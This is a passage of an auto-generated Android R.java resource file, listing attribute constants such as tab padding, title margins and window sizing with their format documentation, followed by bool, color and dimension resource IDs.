"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabPadding=0x7f01010f;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabPaddingBottom=0x7f01010e;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabPaddingEnd=0x7f01010d;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabPaddingStart=0x7f01010b;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabPaddingTop=0x7f01010c;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabSelectedTextColor=0x7f01010a;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int tabTextAppearance=0x7f010108;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tabTextColor=0x7f010109;
/** <p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a boolean value, either "<code>true</code>" or "<code>false</code>".
*/
public static final int textAllCaps=0x7f01002f;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int textAppearanceLargePopupMenu=0x7f010056;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int textAppearanceListItem=0x7f01007b;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int textAppearanceListItemSmall=0x7f01007c;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int textAppearancePopupMenuHeader=0x7f010058;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int textAppearanceSearchResultSubtitle=0x7f010071;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int textAppearanceSearchResultTitle=0x7f010070;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int textAppearanceSmallPopupMenu=0x7f010057;
/** <p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int textColorAlertDialogListItem=0x7f01008f;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int textColorError=0x7f0100c1;
/** <p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int textColorSearchUrl=0x7f010072;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int theme=0x7f01012c;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int thickness=0x7f0100c9;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int thumbTextPadding=0x7f0100fa;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int thumbTint=0x7f0100f5;
/** <p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>src_over</code></td><td>3</td><td></td></tr>
<tr><td><code>src_in</code></td><td>5</td><td></td></tr>
<tr><td><code>src_atop</code></td><td>9</td><td></td></tr>
<tr><td><code>multiply</code></td><td>14</td><td></td></tr>
<tr><td><code>screen</code></td><td>15</td><td></td></tr>
<tr><td><code>add</code></td><td>16</td><td></td></tr>
</table>
*/
public static final int thumbTintMode=0x7f0100f6;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int tickMark=0x7f01002c;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int tickMarkTint=0x7f01002d;
/** <p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>src_over</code></td><td>3</td><td></td></tr>
<tr><td><code>src_in</code></td><td>5</td><td></td></tr>
<tr><td><code>src_atop</code></td><td>9</td><td></td></tr>
<tr><td><code>multiply</code></td><td>14</td><td></td></tr>
<tr><td><code>screen</code></td><td>15</td><td></td></tr>
<tr><td><code>add</code></td><td>16</td><td></td></tr>
</table>
*/
public static final int tickMarkTintMode=0x7f01002e;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int title=0x7f010003;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int titleEnabled=0x7f0100b3;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int titleMargin=0x7f01011b;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int titleMarginBottom=0x7f01011f;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int titleMarginEnd=0x7f01011d;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int titleMarginStart=0x7f01011c;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int titleMarginTop=0x7f01011e;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int titleMargins=0x7f010120;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int titleTextAppearance=0x7f010119;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int titleTextColor=0x7f010128;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int titleTextStyle=0x7f010007;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int toolbarId=0x7f0100ae;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int toolbarNavigationButtonStyle=0x7f01006a;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int toolbarStyle=0x7f010069;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int track=0x7f0100f7;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int trackTint=0x7f0100f8;
/** <p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>src_over</code></td><td>3</td><td></td></tr>
<tr><td><code>src_in</code></td><td>5</td><td></td></tr>
<tr><td><code>src_atop</code></td><td>9</td><td></td></tr>
<tr><td><code>multiply</code></td><td>14</td><td></td></tr>
<tr><td><code>screen</code></td><td>15</td><td></td></tr>
<tr><td><code>add</code></td><td>16</td><td></td></tr>
</table>
*/
public static final int trackTintMode=0x7f0100f9;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int useCompatPadding=0x7f0100ce;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int voiceIcon=0x7f0100ef;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int windowActionBar=0x7f010030;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int windowActionBarOverlay=0x7f010032;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int windowActionModeOverlay=0x7f010033;
/** <p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int windowFixedHeightMajor=0x7f010037;
/** <p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int windowFixedHeightMinor=0x7f010035;
/** <p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int windowFixedWidthMajor=0x7f010034;
/** <p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int windowFixedWidthMinor=0x7f010036;
/** <p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int windowMinWidthMajor=0x7f010038;
/** <p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>May be a fractional value, which is a floating point number appended with either % or %p, such as "<code>14.5%</code>".
The % suffix always means a percentage of the base size; the optional %p suffix provides a size relative to
some parent container.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int windowMinWidthMinor=0x7f010039;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int windowNoTitle=0x7f010031;
}
public static final class bool {
public static final int abc_action_bar_embed_tabs=0x7f090000;
public static final int abc_allow_stacked_button_bar=0x7f090001;
public static final int abc_config_actionMenuItemAllCaps=0x7f090002;
public static final int abc_config_closeDialogWhenTouchOutside=0x7f090003;
public static final int abc_config_showMenuShortcutsWhenKeyboardPresent=0x7f090004;
}
public static final class color {
public static final int abc_background_cache_hint_selector_material_dark=0x7f0b0048;
public static final int abc_background_cache_hint_selector_material_light=0x7f0b0049;
public static final int abc_btn_colored_borderless_text_material=0x7f0b004a;
public static final int abc_color_highlight_material=0x7f0b004b;
public static final int abc_input_method_navigation_guard=0x7f0b0000;
public static final int abc_primary_text_disable_only_material_dark=0x7f0b004c;
public static final int abc_primary_text_disable_only_material_light=0x7f0b004d;
public static final int abc_primary_text_material_dark=0x7f0b004e;
public static final int abc_primary_text_material_light=0x7f0b004f;
public static final int abc_search_url_text=0x7f0b0050;
public static final int abc_search_url_text_normal=0x7f0b0001;
public static final int abc_search_url_text_pressed=0x7f0b0002;
public static final int abc_search_url_text_selected=0x7f0b0003;
public static final int abc_secondary_text_material_dark=0x7f0b0051;
public static final int abc_secondary_text_material_light=0x7f0b0052;
public static final int abc_tint_btn_checkable=0x7f0b0053;
public static final int abc_tint_default=0x7f0b0054;
public static final int abc_tint_edittext=0x7f0b0055;
public static final int abc_tint_seek_thumb=0x7f0b0056;
public static final int abc_tint_spinner=0x7f0b0057;
public static final int abc_tint_switch_thumb=0x7f0b0058;
public static final int abc_tint_switch_track=0x7f0b0059;
public static final int accent_material_dark=0x7f0b0004;
public static final int accent_material_light=0x7f0b0005;
public static final int background_floating_material_dark=0x7f0b0006;
public static final int background_floating_material_light=0x7f0b0007;
public static final int background_material_dark=0x7f0b0008;
public static final int background_material_light=0x7f0b0009;
public static final int bright_foreground_disabled_material_dark=0x7f0b000a;
public static final int bright_foreground_disabled_material_light=0x7f0b000b;
public static final int bright_foreground_inverse_material_dark=0x7f0b000c;
public static final int bright_foreground_inverse_material_light=0x7f0b000d;
public static final int bright_foreground_material_dark=0x7f0b000e;
public static final int bright_foreground_material_light=0x7f0b000f;
public static final int buttonLabel=0x7f0b0010;
public static final int button_material_dark=0x7f0b0011;
public static final int button_material_light=0x7f0b0012;
public static final int colorAccent=0x7f0b0013;
public static final int colorPrimary=0x7f0b0014;
public static final int colorPrimaryDark=0x7f0b0015;
public static final int design_fab_shadow_end_color=0x7f0b0016;
public static final int design_fab_shadow_mid_color=0x7f0b0017;
public static final int design_fab_shadow_start_color=0x7f0b0018;
public static final int design_fab_stroke_end_inner_color=0x7f0b0019;
public static final int design_fab_stroke_end_outer_color=0x7f0b001a;
public static final int design_fab_stroke_top_inner_color=0x7f0b001b;
public static final int design_fab_stroke_top_outer_color=0x7f0b001c;
public static final int design_snackbar_background_color=0x7f0b001d;
public static final int design_textinput_error_color_dark=0x7f0b001e;
public static final int design_textinput_error_color_light=0x7f0b001f;
public static final int dim_foreground_disabled_material_dark=0x7f0b0020;
public static final int dim_foreground_disabled_material_light=0x7f0b0021;
public static final int dim_foreground_material_dark=0x7f0b0022;
public static final int dim_foreground_material_light=0x7f0b0023;
public static final int foreground_material_dark=0x7f0b0024;
public static final int foreground_material_light=0x7f0b0025;
public static final int highlighted_text_material_dark=0x7f0b0026;
public static final int highlighted_text_material_light=0x7f0b0027;
public static final int hint_foreground_material_dark=0x7f0b0028;
public static final int hint_foreground_material_light=0x7f0b0029;
public static final int material_blue_grey_800=0x7f0b002a;
public static final int material_blue_grey_900=0x7f0b002b;
public static final int material_blue_grey_950=0x7f0b002c;
public static final int material_deep_teal_200=0x7f0b002d;
public static final int material_deep_teal_500=0x7f0b002e;
public static final int material_grey_100=0x7f0b002f;
public static final int material_grey_300=0x7f0b0030;
public static final int material_grey_50=0x7f0b0031;
public static final int material_grey_600=0x7f0b0032;
public static final int material_grey_800=0x7f0b0033;
public static final int material_grey_850=0x7f0b0034;
public static final int material_grey_900=0x7f0b0035;
public static final int primary_dark_material_dark=0x7f0b0036;
public static final int primary_dark_material_light=0x7f0b0037;
public static final int primary_material_dark=0x7f0b0038;
public static final int primary_material_light=0x7f0b0039;
public static final int primary_text_default_material_dark=0x7f0b003a;
public static final int primary_text_default_material_light=0x7f0b003b;
public static final int primary_text_disabled_material_dark=0x7f0b003c;
public static final int primary_text_disabled_material_light=0x7f0b003d;
public static final int ripple_material_dark=0x7f0b003e;
public static final int ripple_material_light=0x7f0b003f;
public static final int secondary_text_default_material_dark=0x7f0b0040;
public static final int secondary_text_default_material_light=0x7f0b0041;
public static final int secondary_text_disabled_material_dark=0x7f0b0042;
public static final int secondary_text_disabled_material_light=0x7f0b0043;
public static final int switch_thumb_disabled_material_dark=0x7f0b0044;
public static final int switch_thumb_disabled_material_light=0x7f0b0045;
public static final int switch_thumb_material_dark=0x7f0b005a;
public static final int switch_thumb_material_light=0x7f0b005b;
public static final int switch_thumb_normal_material_dark=0x7f0b0046;
public static final int switch_thumb_normal_material_light=0x7f0b0047;
}
public static final class dimen {
public static final int abc_action_bar_content_inset_material=0x7f07000c;
public static final int abc_action_bar_content_inset_with_nav=0x7f07000d;
public static final int abc_action_bar_default_height_material=0x7f070001;
public static final int abc_action_bar_default_padding_end_material=0x7f07000e;
public static final int abc_action_bar_default_padding_start_material=0x7f07000f;
public static final int abc_action_bar_icon_vertical_padding_material=0x7f070019;
public static final int abc_action_bar_overflow_padding_end_material=0x7f07001a;
public static final int abc_action_bar_overflow_padding_start_material=0x7f07001b;
public static final int abc_action_bar_progress_bar_size=0x7f070002;
public static final int abc_action_bar_stacked_max_height=0x7f07001c;
public static final int abc_action_bar_stacked_tab_max_width=0x7f07001d;
public static final int abc_action_bar_subtitle_bottom_margin_material=0x7f07001e;
public static final int abc_action_bar_subtitle_top_margin_material=0x7f07001f;
public static final int abc_action_button_min_height_material=0x7f070020;
public static final int abc_action_button_min_width_material=0x7f070021;
public static final int abc_action_button_min_width_overflow_material=0x7f070022;
public static final int abc_alert_dialog_button_bar_height=0x7f070000;
public static final int abc_button_inset_horizontal_material=0x7f070023;
public static final int abc_button_inset_vertical_material=0x7f070024;
public static final int abc_button_padding_horizontal_material=0x7f070025;
public static final int abc_button_padding_vertical_material=0x7f070026;
public static final int abc_cascading_menus_min_smallest_width=0x7f070027;
public static final int abc_config_prefDialogWidth=0x7f070005;
public static final int abc_control_corner_material=0x7f070028;
public static final int abc_control_inset_material=0x7f070029;
public static final int abc_control_padding_material=0x7f07002a;
public static final int abc_dialog_fixed_height_major=0x7f070006;
public static final int abc_dialog_fixed_height_minor=0x7f070007;
public static final int abc_dialog_fixed_width_major=0x7f070008;
public static final int abc_dialog_fixed_width_minor=0x7f070009;
public static final int abc_dialog_list_padding_vertical_material=0x7f07002b;
public static final int abc_dialog_min_width_major=0x7f07000a;
public static final int abc_dialog_min_width_minor=0x7f07000b;
public static final int abc_dialog_padding_material=0x7f07002c;
public static final int abc_dialog_padding_top_material=0x7f07002d;
public static final int abc_disabled_alpha_material_dark=0x7f07002e;
public static final int abc_disabled_alpha_material_light=0x7f07002f;
public static final int abc_dropdownitem_icon_width=0x7f070030;
public static final int abc_dropdownitem_text_padding_left=0x7f070031;
public static final int abc_dropdownitem_text_padding_right=0x7f070032;
public static final int abc_edit_text_inset_bottom_material=0x7f070033;
public static final int abc_edit_text_inset_horizontal_material=0x7f070034;
public static final int abc_edit_text_inset_top_material=0x7f070035;
public static final int abc_floating_window_z=0x7f070036;
public static final int abc_list_item_padding_horizontal_material=0x7f070037;
public static final int abc_panel_menu_list_width=0x7f070038;
public static final int abc_progress_bar_height_material=0x7f070039;
public static final int abc_search_view_preferred_height=0x7f07003a;
public static final int abc_search_view_preferred_width=0x7f07003b;
